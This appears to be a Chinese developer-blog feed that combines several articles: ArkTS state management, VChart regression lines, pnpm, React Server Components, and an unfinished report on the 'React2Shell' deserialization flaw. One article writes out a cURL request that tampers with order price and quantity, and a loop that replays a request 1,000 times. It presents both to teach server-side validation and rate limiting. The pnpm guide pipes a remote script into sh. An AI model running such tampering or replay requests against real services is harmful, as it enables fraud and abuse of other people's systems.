// 初始化应用全局状态
AppStorage.SetOrCreate('userInfo', { name: 'Guest', isLoggedIn: false });
AppStorage.SetOrCreate('theme', 'light');

@Entry
@Component
struct HomePage {
  // @StorageLink双向绑定应用全局状态
  @StorageLink('userInfo') userInfo: object = {};
  @StorageLink('theme') theme: string = 'light';
  
  build() {
    Column() {
      Text(`User: ${this.userInfo['name']}`)
      Text(`Theme: ${this.theme}`)
      
      Button('Toggle Theme')
        .onClick(() => {
          this.theme = this.theme === 'light' ? 'dark' : 'light';
        })
    }
  }
}

@Component
struct SettingsPage {
  // @StorageProp单向同步
  @StorageProp('theme') theme: string = 'light';
  
  build() {
    Column() {
      Text(`Current Theme: ${this.theme}`)
    }
  }
}

16. PersistentStorage 持久化存储

ArkTS独有:

// 持久化存储,应用重启后数据仍然存在
PersistentStorage.PersistProp('token', '');
PersistentStorage.PersistProp('username', 'Guest');

@Entry
@Component
struct LoginPage {
  @StorageLink('token') token: string = '';
  @StorageLink('username') username: string = '';
  
  login(username: string, password: string) {
    // 登录逻辑
    this.token = 'generated_token';
    this.username = username;
    // 数据会自动持久化
  }
  
  build() {
    Column() {
      if (this.token) {
        Text(`Welcome, ${this.username}`)
      } else {
        Button('Login')
          .onClick(() => {
            this.login('user123', 'password');
          })
      }
    }
  }
}

17. Environment 环境变量

ArkTS独有:

// 监听系统环境变化
Environment.EnvProp('colorMode', ColorMode.LIGHT);
Environment.EnvProp('languageCode', 'zh');

@Entry
@Component
struct EnvironmentExample {
  @StorageProp('colorMode') colorMode: number = ColorMode.LIGHT;
  @StorageProp('languageCode') language: string = 'zh';
  
  build() {
    Column() {
      Text(`Color Mode: ${this.colorMode === ColorMode.LIGHT ? 'Light' : 'Dark'}`)
      Text(`Language: ${this.language}`)
    }
    .backgroundColor(this.colorMode === ColorMode.LIGHT ? Color.White : Color.Black)
  }
}

ArkTS与TypeScript的主要区别总结

TypeScript没有但ArkTS有的核心特性:

  1. 声明式UI装饰器系统

    • @Component@Entry@Preview 等组件装饰器
    • TypeScript完全没有UI组件的概念
  2. 响应式状态管理装饰器

    • @State@Prop@Link@Provide@Consume
    • @ObjectLink@Observed@Watch
    • TypeScript需要借助第三方库(如MobX、Redux)
  3. UI构建专用语法

    • struct 结构体定义组件
    • build() 方法声明式构建UI
    • 链式调用设置属性
    • TypeScript没有这种内置UI语法
  4. 内置UI组件库

    • Column、Row、Stack、Flex、Grid等容器组件
    • Text、Button、Image、TextInput等基础组件
    • TypeScript需要依赖第三方UI框架
  5. UI复用装饰器

    • @Builder 自定义构建函数
    • @Styles 样式复用
    • @Extend 扩展组件
    • @CustomDialog 自定义弹窗
    • TypeScript没有这些UI复用机制
  6. 条件和循环渲染

    • ForEachLazyForEach 专用循环语法
    • 在build方法中直接使用if/else
    • TypeScript需要使用JSX或模板语法
  7. 状态管理系统

    • LocalStorage 页面级状态
    • AppStorage 应用级状态
    • PersistentStorage 持久化存储
    • Environment 环境变量
    • TypeScript需要第三方状态管理库
  8. 资源管理系统

    • $r() 资源引用
    • $rawfile() 原始文件引用
    • TypeScript没有统一的资源管理系统
  9. 并发和性能优化

    • @Concurrent 并发装饰器
    • @Reusable 组件复用
    • @AnimatableExtend 动画扩展
    • TypeScript需要手动管理
  10. 鸿蒙特有API

    • 分布式能力API
    • 系统服务API
    • 设备协同API

ArkTS限制的TypeScript特性:

  1. 禁用或限制的特性

    • 严格限制any类型使用
    • 禁止原型链操作
    • 禁止evalFunction构造器
    • 禁止with语句
    • 限制动态属性访问
  2. 更严格的类型要求

    • 强制类型声明
    • 更严格的null安全检查
    • 更严格的类型推断

总结: ArkTS在TypeScript基础上,新增了完整的声明式UI开发体系、响应式状态管理系统、内置组件库等大量TypeScript没有的特性,同时限制了一些动态特性以提高性能和类型安全。这使得ArkTS成为专门为鸿蒙应用开发设计的语言。

为什么永远不要相信前端输入?绕过前端验证,只需一个 cURL 命令!

作者 ErpanOmer
2025年12月8日 11:21

image.png

大家好😁。

上个月 Code Review,我拦下了一个新人的代码。

他写了一个转账功能,前端做了极其严密的校验:

  • 金额必须是数字。
  • 金额必须大于 0。
  • 余额不足时,提交按钮是 disabled 的。
  • 甚至还写了复杂的正则表达式,防止输入负号。

他自信满满地跟我说:老大,放心吧,我前端卡得死死的,用户绝对传不了非法数据。

我笑了笑🤣,没看他的后端代码,直接打开终端,敲了一行命令。

0.5 秒后,他的数据库里多了一笔“-10000”的转账记录,余额瞬间暴涨!

他看着屏幕,目瞪口呆:这……你是怎么做到的?我按钮明明置灰了啊!

今天,我就来揭秘这个所有后端(和全栈)工程师必须铭记的第一铁律:

前端验证,在黑客眼里,只是个小case🤔。


我是如何羞辱前端验证的

假设我们有一个购物网站,前端有一个简单的购买表单。

前端逻辑(看似完美):

// Front-end code
function submitOrder(price, quantity) {
  // 1. 校验价格不能被篡改
  if (price !== 999) {
    alert("价格异常!");
    return;
  }
  // 2. 校验数量必须为正数
  if (quantity <= 0) {
    alert("数量必须大于0!");
    return;
  }
  
  // 发送请求
  api.post('/buy', { price, quantity });
}

你看,用户在浏览器里确实没法作恶。他改不了价格,也填不了负数。

但是黑客,从来不用浏览器点你的按钮。

第一步:打开DevTools Network 面板,正常点一次购买按钮。捕获到了这个请求。

第二步:请求上右键 -> 复制 -> cURL 格式复制。

image.png

这一步,我已经拿到了你发送请求的所有密钥:URL、Headers、Cookies、以及那个看似合法的 Data。

第三步:打开终端(Terminal),粘贴刚才复制的命令。但是,我并没有直接回车。

我修改了 --data-raw 里的参数:

  • "price": 999 改成了 "price": 0.01
  • 或者把 "quantity": 1 改成了 "quantity": -100
# 经过魔改后的命令
curl 'http://localhost:3000/user/buy' \
  -H 'Cookie: session_id=...' \
  -H 'Content-Type: application/json' \
  --data-raw '{"price": 0.01, "quantity": 10}' \
  --compressed

回车!

服务器返回:{ "status": "success", "msg": ok!" }

恭喜你,你的前端验证毫发无损,但你的数据库已经被我击穿了。 我用 1 分钱买了 10 个商品,或者通过负数数量,反向刷了库存。


为什么前端验证, 防不了小人🤔

很多新人最大的误区,就是认为用户只能通过我的 UI 来访问我的服务器。

错!大错特错!

Web 的本质是 HTTP 协议。

HTTP 协议是无状态的、公开的。任何能够发送 HTTP 请求的客户端,都是你的用户。

  • Chrome 是客户端。
  • cURL 是客户端。
  • Postman 是客户端。
  • Python 的 requests 脚本也是客户端。
  • node 的 http 脚本也是客户端

前端代码运行在用户的电脑上。

这意味着,用户拥有对前端代码的绝对控制权

  • 他可以禁用 JS。
  • 他可以在 Console 里重写你的校验函数。
  • 他可以拦截请求(用 Charles/Fiddler)并修改数据。
  • 他甚至可以完全抛弃浏览器,直接用脚本轰炸你的 API。

所以,前端验证的唯一作用,是提升用户体验 (比如提示用户格式不对😂),而不是提供安全性😖。


后端该如何防御?(不要裸奔)

既然前端不可信,后端(或 BFF 层)就必须假设所有发过来的数据都是有毒的

1. 永远不要相信 Payload 里的关键数据

前端只传 productId。后端拿到 ID 后,去数据库里查这个商品到底多少钱。永远以数据库为准。

2. 使用 Schema 校验库(Zod / Joi / class-validator)

不要在 Controller 里写一堆 if (req.body.age < 0)。

使用专业的 Schema 校验库,定义好数据的规则。

TypeScript代码👇:

// 使用 Zod 定义后端校验规则
const OrderSchema = z.object({
  productId: z.string(),
  // 强制要求 quantity 必须是正整数,拦截 -100 这种攻击
  quantity: z.number().int().positive(), 
  // 注意:这里根本不接收 price 字段,防止被注入
});

// 如果校验失败,直接抛出 400 错误,逻辑根本进不去
const data = OrderSchema.parse(req.body); 

3. 权限与状态校验

不要只看数据格式对不对,还要看人对不对。

  • 这个用户有权限买这个商品吗?
  • 这个订单现在的状态允许支付吗?(防止重复支付攻击🤔)

还有一种更高级的攻击:Replay Attack(重放攻击)

你以为校验了数据就安全了?

如果我拦截了你一次领优惠券的请求,虽然我改不了数据,但我可以用 cURL 连续运行 1000 次这个命令。

# 一个简单的循环,瞬间刷爆你的接口
for i in {1..1000}; do curl ... ; done

如果你的后端没有做幂等性(Idempotency)校验或频率限制(Rate Limiting) ,那我瞬间就能领走 1000 张优惠券。

防御手段👇:

  • Redis 计数器:限制每个 IP/用户 每秒只能请求几次。
  • 唯一 Request ID:对于关键操作,要求前端生成一个 UUID,后端处理完后记录下来。如果同一个 UUID 再次请求,直接拒绝。

对于前端安全,所有的输入都是可疑的🤔

作为全栈或后端开发者,当你写 API 时,请忘掉你那个漂亮的前端界面。

你的脑海里应该只有一幅画面:

image.png

屏幕对面,不是一个点鼠标的用户,而是一个正在敲 cURL 命令的黑客。

只有这样,你的代码才算真正安全了😒。

前端实测:RSC不是银弹,但它真的重构了我的技术栈

作者 奋斗猿
2025年12月8日 11:20

2025年的前端圈,React Server Components(RSC)不再是“概念词”——Next.js 14将其设为默认模式,Vercel的生产环境数据显示,采用RSC的项目首屏加载速度平均提升42%。作为刚用RSC重构完中后台系统的前端,我想说:它不是用来替代SSR的“新玩具”,而是重新定义“前后端边界”的核心方案。

这篇文章不聊晦涩的原理,只讲RSC落地的“认知-实战-避坑”全流程。从“为什么RSC突然火了”到“Next.js 14实战踩雷”,再到“性能优化的关键技巧”,带你吃透这个改变前端架构的热点技术。

一、认知澄清期:先搞懂RSC不是什么

接触RSC的第一个月,我踩的最大坑是“把它当SSR的升级版”。直到线上出现“水合错误”才明白:RSC的核心是“组件运行环境的拆分”,而非“渲染位置的转移”。先用一张表厘清误区:

技术方案 核心逻辑 资源加载 最大痛点
传统CSR 客户端加载JS后渲染组件 首屏JS体积大,加载慢 白屏时间长,SEO差
SSR(如Next.js 13前) 服务端渲染HTML,客户端水合 首屏HTML快,但需加载完整JS水合 水合开销大,交互延迟
RSC(Next.js 14) 服务器组件跑服务端,客户端组件跑浏览器 仅传输客户端组件JS,服务器组件无JS 环境区分复杂,易出现跨端错误

核心结论:RSC解决的是“无效JS传输”问题——服务器组件负责数据获取和静态UI,不生成客户端JS;只有需要交互的部分用客户端组件,实现“按需加载JS”。

二、实战落地期:Next.js 14搭建RSC项目的5步流程

Next.js 14是目前最成熟的RSC开发框架,默认启用App Router,服务器组件无需额外配置。结合我重构用户管理系统的经验,分享从0到1的落地步骤:

2.1 环境初始化:避开版本兼容坑

RSC对React版本要求严格,必须使用React 18.3+。初始化时直接指定Next.js 14,避免因依赖冲突导致的“服务器组件无法识别”问题:

// 正确初始化命令
npx create-next-app@latest rsc-demo --example "https://github.com/vercel/next-learn/tree/main/react-foundations/rsc/01-intro"
# 选择App Router,启用TypeScript和ESLint

安装完成后,检查package.json依赖:确保react@^18.3.1、next@^14.0.3,这是RSC运行的基础。

2.2 组件区分:用“use client”划清边界

这是RSC开发的核心规则:不写“use client”的就是服务器组件。我曾因漏写导致“useState is not defined”错误,因为服务器组件不支持React Hooks。

实战案例:用户列表页拆分——服务器组件负责获取数据和渲染表格,客户端组件负责搜索框交互:

// 服务器组件:app/users/page.tsx(无需use client)
async function getUsers(searchKey = '') {
  // 服务器组件支持顶层await,直接发起后端请求(无跨域问题)
  const res = await fetch(`https://api.example.com/users?keyword=${searchKey}`, {
    cache: 'no-store' // 实时数据禁用缓存,静态数据可用force-cache
  });
  if (!res.ok) throw new Error('数据获取失败');
  return res.json();
}

// 接收客户端组件传递的搜索参数(通过URL SearchParams)
export default async function UsersPage({
  searchParams
}: {
  searchParams?: { keyword?: string }
}) {
  const users = await getUsers(searchParams?.keyword || '');
  return (
    <div className="container mx-auto p-4">
      <h1 className="text-2xl font-bold mb-6">用户管理</h1>
      {/* 向客户端组件传递默认搜索值 */}
      <UserSearch defaultKeyword={searchParams?.keyword || ''} />
      <div className="mt-6 overflow-x-auto">
        <table className="w-full border-collapse">
          <thead>
            <tr className="bg-gray-100">
              <th className="border p-3 text-left">ID</th>
              <th className="border p-3 text-left">姓名</th>
              <th className="border p-3 text-left">角色</th>
              <th className="border p-3 text-left">操作</th>
            </tr>
          </thead>
          <tbody>
            {users.map((user: { id: number; name: string; role: string }) => (
              <tr key={user.id} className="hover:bg-gray-50">
                <td className="border p-3">{user.id}</td>
                <td className="border p-3">{user.name}</td>
                <td className="border p-3">{user.role}</td>
                <td className="border p-3">
                  {/* 操作按钮需交互,引入小型客户端组件 */}
                  <UserAction userId={user.id} />
                </td>
              </tr>
            ))}
          </tbody>
        </table>
      </div>
    </div>
  );
}

// 客户端组件:app/users/UserSearch.tsx(必须加use client)
'use client';
import { useState } from 'react';
import { useRouter } from 'next/navigation';

export default function UserSearch({ defaultKeyword }: { defaultKeyword: string }) {
  // 客户端组件可使用Hooks管理交互状态
  const [keyword, setKeyword] = useState(defaultKeyword);
  const router = useRouter();

  const handleSearch = (e: React.FormEvent) => {
    e.preventDefault();
    // 通过路由传递搜索参数,触发服务器组件重新获取数据
    router.push(`/users?keyword=${encodeURIComponent(keyword)}`);
  };

  return (
    <form onSubmit={handleSearch} className="flex gap-2">
      <input
        type="text"
        value={keyword}
        onChange={(e) => setKeyword(e.target.value)}
        placeholder="输入用户名搜索"
        className="flex-1 p-2 border rounded"
      />
      <button type="submit" className="px-4 py-2 bg-blue-500 text-white rounded">
        搜索
      </button>
    </form>
  );
}

VChart 扩展新功能:一行代码解锁数据回归与趋势分析

作者 玄魂
2025年12月8日 11:16

在数据分析和可视化领域,我们常常不仅满足于展示离散的数据点,更渴望洞察其背后的趋势与规律。无论是追踪产品核心指标的增长势头,分析 A/B 实验中不同策略的转化效果,还是在业务复盘时寻找关键变量间的潜在关联,一条平滑的“趋势线”总能让数据故事更加清晰和富有洞察力。

为了让趋势分析变得前所未有的简单,VisActor VChart 团队在扩展包 vchart-extension 中正式推出了**回归线(Regression Line)**功能。现在,你只需一行简单的配置,即可为你的图表增添强大的数据回归与趋势展示能力。

核心价值:VChart 回归线扩展旨在帮助用户快速、准确地在现有图表(如散点图、折线图、柱状图等)上叠加统计回归线,轻松揭示数据变量间的潜在关系和发展趋势,为数据驱动的决策提供直观参考。

核心能力一览

VChart 的回归线扩展功能强大且灵活,旨在满足从快速探索到深度分析的各类需求。

  • 丰富的回归类型:内置多种常用回归算法,满足不同场景的分析需求。

  • 线性回归 (linear):探索变量间的线性关系。

  • 多项式回归 (polynomial):拟合非线性的复杂趋势,支持自定义阶数。

  • 对数回归 (logarithmic):适用于增长率先快后慢的场景。

  • 指数回归 (exponential):模拟数据呈指数级增长的趋势。

  • Loess 回归 (loess):局部加权回归,擅长捕捉局部的数据变化趋势。

  • 核密度估计 (KDE):在直方图上叠加平滑的概率密度曲线。

  • 经验累积分布 (ECDF):展示数据的累积分布情况。

  • 无缝集成多种图表:可轻松与 VChart 中最常用的图表类型结合。

  • 散点图:回归分析的经典场景,直观展示两个连续变量的拟合趋势。

  • 柱状图:为离散的分类数据添加整体趋势参考。

  • 直方图:结合 KDE 或 ECDF,深入理解数据分布特征。

  • 支持分组/分类回归:当数据包含多个类别时,可以为每个分组独立计算并绘制回归线,便于进行精细化的对比分析。

  • 高度可定制的样式:回归线、公式标签、置信区间等元素的样式均支持精细化配置,确保视觉效果与整体设计风格完美融合。

快速上手:三步为散点图添加回归线

为图表添加回归线非常简单。遵循以下三步,即可在你的 VChart 项目中启用该功能。

第一步:安装并引入扩展包

首先,请确保你的项目中已安装 VChart 及其扩展包。

# 使用 npm
npm install @visactor/vchart @visactor/vchart-extension

# 使用 yarn
yarn add @visactor/vchart @visactor/vchart-extension
    

第二步:注册回归线组件

在你的代码入口处,引入并注册回归线组件。这是启用所有相关功能的关键。

import VChart from '@visactor/vchart';
import { registerRegressionLine } from '@visactor/vchart-extension';

// 只需调用一次
registerRegressionLine();
    

第三步:在图表配置中添加回归线

完成注册后,即可在图表 spec 中通过 append*RegressionLineConfig 系列辅助函数来添加回归线。以最常见的散点图为例:

import { appendScatterRegressionLineConfig } from '@visactor/vchart-extension';

// 假设你已有一个基础的散点图 spec
const spec = {
  type: 'scatter',
  data: {
    values: [
      { name: 'chevrolet chevelle malibu', milesPerGallon: 18, cylinders: 8, horsepower: 130 },
  { name: 'buick skylark 320', milesPerGallon: 15, cylinders: 8, horsepower: 165 },
  { name: 'plymouth satellite', milesPerGallon: 18, cylinders: 8, horsepower: 150 },
      // ... 更多数据
    ]
  },
  xField: 'milesPerGallon',
  yField: 'horsepower',
};

// 为 spec 添加回归线配置
appendScatterRegressionLineConfig(spec, {
  type: 'linear' // 指定回归类型为线性回归
});

// 现在,spec 就包含了回归线配置,可以用于 VChart 渲染了
const vchart = new VChart(spec, { dom: 'chart-container' });
vchart.renderSync();
    

就是这么简单!渲染后的图表将在原始散点图的基础上,自动绘制出一条线性回归线。

进阶配置与示例

VChart 回归线扩展提供了丰富的配置项,让你能够精细控制回归线的行为和外观。

关键配置项解析

在使用 append*RegressionLineConfig 函数时,第二个参数 config 对象支持以下关键属性:

  • type: 指定回归类型。例如,在散点图中可选 'linear', 'polynomial', 'logarithmic', 'exponential', 'loess'。在直方图中可选 'kde', 'ecdf'

  • degree (或 polynomialDegree): 当 type'polynomial' 时,用于指定多项式的阶数,默认为 2。阶数越高,曲线越能拟合数据的波动,但有过拟合的风险。

  • line: 用于配置回归线的样式,如 style(线型、颜色、粗细等)。

  • label: 配置回归线末端或顶部的公式标签,可以自定义 textstyle

  • confidenceInterval: 配置置信区间,通过 visible 控制其显隐,并通过 style 自定义其填充样式。

示例:样式定制

下面的例子将在前述散点图的基础上,修改 type 实现3次多项式回归线,并自定义回归线样式。

import { appendScatterRegressionLineConfig } from '@visactor/vchart-extension';

// 假设你已有一个基础的散点图 spec
const spec = {
  type: 'scatter',
  data: {
    values: [
      { name: 'chevrolet chevelle malibu', milesPerGallon: 18, cylinders: 8, horsepower: 130 },
  { name: 'buick skylark 320', milesPerGallon: 15, cylinders: 8, horsepower: 165 },
  { name: 'plymouth satellite', milesPerGallon: 18, cylinders: 8, horsepower: 150 },
      // ... 更多数据
    ]
  },
  xField: 'milesPerGallon',
  yField: 'horsepower',
};

// 为 spec 添加回归线配置
appendScatterRegressionLineConfig(spec, {
  type: 'polynomial', // 支持4中类型 'linear' | 'logisitc' | 'lowess' | 'polynomial'
    polynomialDegree: 3,
    color: 'red',
    line: {
      style: {
        lineWidth: 2
      }
    },
    confidenceInterval: {
      style: {
        fillOpacity: 0.2
      }
    },
    label: {
      text: '3次多项式回归'
    }
});

// 现在,spec 就包含了回归线配置,可以用于 VChart 渲染了
const vchart = new VChart(spec, { dom: 'chart-container' });
vchart.renderSync();
    

image.png

示例:直方图与核密度估计(KDE)

回归线扩展同样能增强直方图的表现力。通过叠加 KDE 曲线,可以更平滑地观察数据分布的“形状”。

// 这是一个包含 bin 转换的直方图 spec
const spec = {
  type: 'histogram',
  data: { /* ... */ },
  type: 'histogram',
  xField: 'x0',
  x2Field: 'x1',
  yField: 'frequency',
};

// 为其附加 KDE 曲线
appendHistogramRegressionLineConfig(spec, [
  {
    type: 'kde', // 支持 'kde' 和 'ecdf'
    line: {
      style: {
        stroke: 'red',
        lineWidth: 2
      }
    },
    label: {
      text: 'KDE核密度估计'
    }
  },
  {
    type: 'ecdf', // 支持 'kde' 和 'ecdf'
    line: {
      style: {
        stroke: 'green',
        lineWidth: 2
      }
    },
    label: {
      text: '经验累积分布函数(ECDF)'
    }
  }
]);
    

image.png

在线demo和教程

demo: visactor.com/vchart/demo…

教程: visactor.com/vchart/guid…

欢迎交流

最后,我们诚挚的欢迎所有对数据可视化感兴趣的朋友参与进来,参与 VisActor 的开源建设:

VTableVTable 官网VTable Github(欢迎 Star)

VisActor 官方网站:www.visactor.io/www.viactor.com

Discord:discord.gg/3wPyxVyH6m

飞书群(外网):打开链接扫码

微信公众号:打开链接扫码

github:github.com/VisActor

pnpm 是什么,看这篇文章就够了

作者 AndyGoWei
2025年12月8日 10:59

一、pnpm 是什么?

pnpm(Performant NPM)是由 Zoltan Kochan 开发的高性能 Node.js 包管理器,核心定位是解决 npm/yarn 存在的磁盘空间占用高、安装速度慢、依赖嵌套过深等问题,同时兼容 npm 的大部分功能和生态。

简单来说:pnpm = 极致的磁盘利用率 + 超快的安装速度 + 严格的依赖管理。

二、核心优势(对比 npm/yarn)

1. 极致的磁盘空间利用率

  • 硬链接 + 符号链接(Symlink)机制:pnpm 会在全局目录(默认 ~/.pnpm-store)中存储所有安装过的包的单一副本,后续项目安装相同版本的包时,不会重复下载,而是通过「硬链接」复用全局存储的文件,通过「符号链接」构建项目的 node_modules 结构。

    • 对比:npm/yarn 会在每个项目的 node_modules 中完整复制依赖包,多项目场景下磁盘占用呈倍数增长。
    • 举例:10 个项目都依赖 lodash@4.17.21,pnpm 仅存储 1 份 lodash 文件,而 npm/yarn 会存储 10 份。

2. 超快的安装速度

  • 复用全局缓存减少下载次数;
  • 并行安装依赖(比 npm 更早优化并行逻辑);
  • 扁平化依赖结构但避免「幽灵依赖」(下文解释),减少文件 IO 开销。
  • 实测:安装大型项目依赖时,pnpm 速度通常是 npm 的 2-5 倍,比 yarn classic 快 1.5-3 倍。

3. 严格的依赖管理(避免幽灵依赖)

  • npm/yarn classic 的 node_modules 是嵌套 + 扁平化混合结构,可能导致项目引用未在 package.json 中声明的依赖(幽灵依赖);
  • pnpm 的 node_modules 是严格的符号链接结构:只有在 package.json 中声明的依赖才会出现在项目的 node_modules 根目录,间接依赖无法被直接引用,从根源避免幽灵依赖,提升项目可维护性。

4. 其他优势

  • 兼容 npm 命令:pnpm install/pnpm add/pnpm run 等命令与 npm 基本一致,学习成本低;
  • 内置工作区(monorepo)支持:无需额外配置,即可高效管理多包项目;
  • 可配置的存储路径:支持自定义全局包存储目录,适配不同环境;
  • 零安装(optional):支持 pnpm fetch 预下载依赖,离线环境也能安装。

三、核心原理:pnpm 的 node_modules 结构

pnpm 的 node_modules 分为两层:

  1. 全局存储层~/.pnpm-store 存储所有包的原始文件(每个版本仅一份);

  2. 项目链接层

    • 项目根目录的 node_modules 中,只有 package.json 声明的依赖(如 react),且是指向 node_modules/.pnpm/react@18.2.0/node_modules/react 的符号链接;
    • node_modules/.pnpm 目录中,存储所有依赖的硬链接副本,且每个依赖的 node_modules 仅包含自身的直接依赖,形成严格的依赖树。

这种结构既保证了磁盘复用,又保证了依赖的严格隔离。

四、安装 pnpm

1. 通用安装方式(推荐)

bash

运行

# 使用 npm 安装(全局)
npm install -g pnpm

# 或使用官方脚本(跨平台)
curl -fsSL https://get.pnpm.io/install.sh | sh -
# 或(Windows PowerShell)
iwr https://get.pnpm.io/install.ps1 -useb | iex

2. 其他方式

  • Homebrew(macOS/Linux)brew install pnpm
  • Scoop(Windows)scoop install pnpm
  • Dockerdocker run --rm -it pnpm/pnpm:latest

3. 验证安装

bash

运行

pnpm -v  # 输出版本号即安装成功(当前稳定版为 v9.x)

五、常用命令(与 npm 对比)

功能 npm 命令 pnpm 命令
安装所有依赖 npm install pnpm install
添加生产依赖 npm install react pnpm add react
添加开发依赖 npm install -D typescript pnpm add -D typescript
全局安装包 npm install -g ts-node pnpm add -g ts-node
卸载依赖 npm uninstall react pnpm remove react
运行脚本 npm run dev pnpm run dev
查看全局包存储路径 npm root -g pnpm store path
清理缓存 npm cache clean --force pnpm store prune

特有 / 增强命令

bash

运行

# 查看依赖树(比 npm ls 更清晰)
pnpm list

# 预下载依赖(离线安装用)
pnpm fetch

# 构建 monorepo 项目(工作区)
pnpm -r build  # 递归执行所有子包的 build 脚本
pnpm --filter pkg-name dev  # 仅执行指定子包的 dev 脚本

# 更新依赖
pnpm update  # 更新所有依赖
pnpm update react  # 更新 react 到最新兼容版本

六、pnpm 配置(可选)

pnpm 的配置文件为 .npmrc 或 .pnpmrc,常用配置:

ini

# 自定义全局存储路径
store-dir=/path/to/pnpm-store

# 启用严格模式(默认开启,禁止引用未声明的依赖)
strict-peer-dependencies=true

# 国内镜像(加速下载)
registry=https://registry.npmmirror.com/

七、适用场景

  1. 多项目开发:多个项目依赖相同包版本时,大幅节省磁盘空间;
  2. 大型项目 / 团队协作:严格的依赖管理避免幽灵依赖,减少线上问题;
  3. Monorepo 项目:内置工作区支持,无需额外配置 lerna/yarn workspace;
  4. 追求安装速度:替代 npm/yarn 提升开发效率。

八、注意事项

  1. 兼容性:pnpm 生成的 node_modules 结构与 npm 不同,极少数老包可能因路径问题兼容异常(可通过 pnpm config set node-linker hoisted 切换为扁平化结构临时解决);
  2. 全局包:pnpm 全局安装的包路径与 npm 不同,需确保 pnpm bin -g 路径加入系统环境变量;
  3. lockfile:pnpm 生成 pnpm-lock.yaml,与 npm 的 package-lock.json、yarn 的 yarn.lock 不兼容,团队需统一包管理器。

总结

pnpm 是 npm/yarn 的高性能替代方案,核心优势是「省空间、快安装、严依赖」,完全兼容 npm 生态,且对 monorepo 支持友好。无论是个人项目还是企业级项目,都能显著提升依赖管理效率,目前已被 Vite、Nuxt、Turborepo 等主流工具推荐使用。

CVE-2025-55182 React Server Components "React2Shell" 深度调查与全链路响应报告

作者 HexCIer
2025年12月8日 10:55

1. 概述

在当代 Web 开发生态系统中,React 及其衍生框架(尤其是 Next.js)构成了互联网基础设施的基石。据统计,全球排名前 10,000 的网站中有超过 40% 依赖 React 技术栈构建。2025年12月3日,随着 CVE-2025-55182 的披露,这一庞大的数字基础设施面临着前所未有的严峻挑战。该漏洞被安全社区命名为 "React2Shell",不仅因其技术机制类似于著名的 Log4Shell,更因其具备了“核弹级”漏洞的所有特征:零门槛利用、无需身份验证、远程代码执行(RCE)以及 CVSS 10.0 的满分严重评级。

CVE-2025-55182 的核心在于 React Server Components(RSC)所使用的底层通信协议——"Flight" 协议——在处理数据反序列化时存在根本性的逻辑缺陷。攻击者仅需向启用 RSC 的服务器端点发送一个精心构造的 HTTP 请求,即可触发服务器端的恶意对象实例化,进而控制服务器进程执行任意指令。这一过程无需攻击者具备任何预先的系统访问权限或用户凭证,且默认配置下的 Next.js 应用即受影响,使其攻击面极为广泛。

当前的网络安全威胁态势极其紧张。亚马逊 AWS 威胁情报团队及多家全球安全机构已确认,一些高级持续性威胁组织,在漏洞披露后的数小时内便迅速武器化了该漏洞,并在全球范围内发起了针对性的扫描与攻击活动。攻击者的目标不仅限于单纯的破坏,更包括云环境凭证窃取、加密货币挖矿以及建立持久化后门以进行后续的横向移动。

本报告旨在为首席信息安全官、安全架构师及一线应急响应人员提供一份详尽的调查分析。报告将深入剖析 React Server Components 的架构脆弱性,解构 "Flight" 协议的序列化机制,还原漏洞利用的完整攻击链,并基于现有的威胁情报数据,提供从代码修复、WAF 策略部署到入侵痕迹排查的全链路解决方案。

2. 漏洞背景与技术架构深层解析

要理解 CVE-2025-55182 的毁灭性影响,必须首先深入到 React Server Components 的设计哲学及其背后的技术实现细节中。React Server Components 代表了前端开发范式的一次重大转移,它模糊了客户端与服务器端的传统界限,而这种界限的模糊正是安全风险滋生的温床。

2.1 React Server Components 的架构演进与风险面

传统的 React 应用主要依赖客户端渲染(CSR)或服务端渲染(SSR)。在 SSR 模式下,服务器仅负责生成初始 HTML 字符串,随后的交互逻辑仍由下载到浏览器的 JavaScript 代码接管。然而,React Server Components 引入了一种全新的组件类型——仅在服务器端运行的组件。这些组件可以直接访问后端资源(如数据库、文件系统、微服务接口),而无需通过 API 层。

这种架构虽然极大地优化了性能并简化了数据获取逻辑,但也引入了一个关键的安全假设:服务器必须能够安全地接收、解析并响应来自客户端的复杂指令。为了实现客户端组件与服务端组件的无缝交互,React 团队设计了一套复杂的序列化协议,允许组件树、Props 和状态在网络边界上流动。

CVE-2025-55182 暴露了这一设计中的致命弱点:当 React 试图在服务器端“重组”来自客户端的数据流时,它缺乏足够的安全边界检查。RSC 的设计初衷是为了性能和灵活性,允许序列化包含复杂对象引用的数据结构,这为反序列化攻击打开了大门。与以往仅影响特定库的漏洞不同,此漏洞植根于 React 处理网络请求的核心机制中,这意味着任何基于 RSC 构建的应用(如 Next.js App Router 应用)都内在地继承了这一脆弱性。

2.2 "Flight" 协议:序列化机制的阿喀琉斯之踵

React Server Components 使用代号为 "Flight" 的专有协议进行通信。这是一种基于文本的流式协议,旨在高效地描述 UI 树结构及其依赖的数据。与标准的 JSON 不同,Flight 协议支持更为丰富的数据类型,包括 Promise、模块引用以及复杂的对象图。

在 Flight 协议中,数据被序列化为一系列的“块(Chunks)”或“行”。每一行通常代表一个被引用的对象或组件。为了处理循环引用和异步加载,协议允许使用特定的语法来引用其他行定义的数据。例如,一个对象可以包含指向另一个 ID 为 $1 的对象的引用。

漏洞的根源在于 Flight 协议反序列化器的实现逻辑。具体而言,存在于 react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack 等核心包中的解析代码,在处理这些引用时过于“信任”客户端输入。当解析器遇到一个标记为引用的字段时,它会尝试解析该引用。如果攻击者能够构造一个指向服务器内部敏感属性(如原型链上的属性)的引用,或者构造一个伪装成内部结构(如 Promise)的恶意对象,解析器就会在不知情的情况下执行这些恶意逻辑。

这种机制上的缺陷使得 Flight 协议成为了攻击者利用反序列化漏洞的理想载体。与 Java 或 PHP 中经典的反序列化漏洞类似,攻击者不仅仅是发送数据,而是在发送“指令”。当服务器反序列化这些数据时,实际上是在执行攻击者预定义的代码路径。

3. 漏洞机理与攻击链详细复盘

CVE-2025-55182 的利用过程是一个典型的逻辑漏洞利用案例,它结合了对象伪造、原型链污染和不可信代码执行。以下是对攻击链的深度技术复盘。

3.1 攻击向量:伪造 "Thenable" 对象与原型链劫持

攻击的核心在于操纵 Flight 协议对 Promise 的处理方式。在 JavaScript 生态中,任何具有 .then() 方法的对象都可以被视为 Promise(即 "Thenable" 对象)。React 的内部机制在处理异步数据流时,会自动检查对象是否为 Thenable,如果是,则会尝试调用其 .then() 方法以等待结果。

攻击者构造的恶意 Payload 包含一个精心设计的 JSON 对象,该对象模仿了 React 内部 Chunk 类的结构,但实际上是一个陷阱。

攻击步骤详解:

